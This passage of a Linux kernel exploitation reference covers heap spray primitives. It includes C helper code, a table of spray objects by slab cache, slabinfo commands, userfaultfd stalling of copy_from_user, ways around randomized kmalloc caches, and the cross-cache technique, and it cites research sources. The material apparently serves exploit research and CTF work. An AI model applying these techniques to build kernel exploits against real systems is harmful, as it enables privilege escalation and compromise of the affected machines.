Cleanup. The arrays are persistent, so they stay until you close both ends of every pair. Closing is also the trigger for ->ops->release, so close deliberately once the layout is spent, not in the middle of the groom:
void close_pipe_buffer(int n, int fds[][2])
{
for (int i = 0; i < n; i++) {
close(fds[i][0]);
close(fds[i][1]);
}
}
dispatcher
Prefers add_key (plain) so it survives the cg split.
void spray_cache(size_t cache, int n, const void *data)
{
if (cache <= 32768) {
spray_add_key(cache, n, data);
} else {
spray_msg_msgseg(cache - 4096, n, data);
}
}
zone and header reference
| Function | Zone | Header | Lifetime | Content | Buffer required |
|---|---|---|---|---|---|
spray_msg_msg |
cg (6.11+ msg_msg buckets) |
48 | persistent | full | data >= cache - 48 |
spray_msg_msgseg |
seg is cg | 8 (seg) | persistent | full | seg_data >= seg_cache - 8 |
spray_add_key |
plain | 24 | persistent | full | data >= cache - 24 |
spray_sk_buff |
plain (or skb_small_head_cache) |
320 tail | persistent | leading bytes | data >= cache - 320 |
spray_setxattr |
plain (6.11+ user_buckets) |
0 | transient | full | data >= cache |
spray_simple_xattr |
cg | 40 / 32 | persistent | full | data >= cache - 40 |
spray_sendmsg |
plain | 0 | transient | full | n/a (control_len) |
spray_anon_vma_name |
plain | 4 | persistent | printable, NUL-term | n/a (name <= 80) |
spray_poll_list |
plain | ~16 | transient | size only | n/a (n_fds) |
spray_pipe_buffer |
cg | per entry 40 | persistent | size only + ->ops |
n/a (cache, fds) |
Measure
sudo cat /proc/slabinfo | grep -E 'kmalloc-(cg-)?(32|96|128|256|1024) '
sudo slabtop -s c
ls /sys/kernel/slab/ | grep -E 'kmalloc|filp|cred'
Groom order: defrag (alloc then free), fill the partial slab, free one hole, trigger the victim, reclaim. Spray past the active-slab count; kmalloc-128 can need thousands. Several of the sprays are backed by an fd or a mapping (seq_operations, timerfd, tty, pipe_buffer, shm), so raise RLIMIT_NOFILE first.
Hold transient objects
Make copy_from_user fault on the second page and stall the handler there.
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
int uffd_setup(void)
{
int uf = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api api = { .api = UFFD_API };
ioctl(uf, UFFDIO_API, &api);
return uf;
}
Register two pages with UFFDIO_REGISTER_MODE_MISSING, straddle the boundary with the spray buffer, and have a thread sleep before UFFDIO_COPY. One caveat: vm.unprivileged_userfaultfd has defaulted to 0 since 5.11, which limits an unprivileged process to UFFD_USER_MODE_ONLY (user-space faults only), so faulting on a kernel copy_from_user then needs CAP_SYS_PTRACE. When userfaultfd is out of reach, a FUSE filesystem stalls the kernel fault the same way and does not depend on that sysctl.
RANDOM_KMALLOC_CACHES
- Since 6.6, 16 copies per size (
kmalloc-rnd-01-*throughkmalloc-rnd-15-*plus the base). The bucket comes from hashing thekmalloccall-site address against a per-boot seed, fixed for the life of the boot. - Re-spraying to brute-force the bucket does not help: one call site always hits the same bucket.
- Fix: spray from the same call site as the bug (same subsystem or function). A shared wrapper hashes to the wrapper, so objects funnelled through one wrapper (for example
sock_kmalloc) still land together, which is a known weak point. - Dedicated caches and the kmem_buckets (
msg_msg,user_buckets, 6.11+) are immune to this, but they are also out of reach for a generic spray, hence cross-cache.
Cross-cache
- Groom the victim cache so the vulnerable object sits on a slab you control, then free every object on that slab.
- Force the now-empty slab page back to the buddy allocator. SLUB does not release it on the last free: it parks empty slabs on the per-cpu and per-node partial lists, so you also have to overflow those lists (allocate enough other slabs to evict the target) before the page returns.
- Immediately allocate from a different cache so it pulls a fresh page and reclaims that physical page.
- Two object types now share one page, which is a type confusion.
Reclaim with pipe_buffer, msg_msg, or page-level sprays. The padding-spray variant pre-fills the buddy freelists for determinism; SLUBStick drives the buddy-level reuse to high reliability with an allocator timing side channel. See d3kcache and the kernelCTF exploits below.
Sources
- ptr-yudai, heap spray objects (original list)
- ELOISE: A Systematic Study of Elastic Objects, CCS 2020
- Increasing Exploitability via Elastic Kernel Objects (PSU thesis)
- Nikolenko, Linux Kernel universal heap spray
- Linux kernel heap feng shui in 2022
- cpegg, universal heap spray
- sam4k, random kmalloc caches
- LWN, randomized slab caches for kmalloc
- dustri, notes on randomized slab caches for kmalloc
- LWN, dedicated bucket allocator (kmem_buckets, 6.11)
- StarLabs, prctl anon_vma_name spray
- StarLabs, io_uring exploit technique
- Cross Cache for Lazy People (padding spray)
- SLUBStick, USENIX Security 2024
- arttnba3, d3kcache cross-cache
- kernelCTF CVE-2023-3390 exploit docs
- Kernel Exploitで使える構造体集
- flatz, linux-kernel-exploitation (link collection)
- PSPRAY, USENIX Security 2023
- Understanding Page Spray, USENIX Security 2024
- man7, add_key(2)
- elixir.bootlin.com, Linux v6.12 source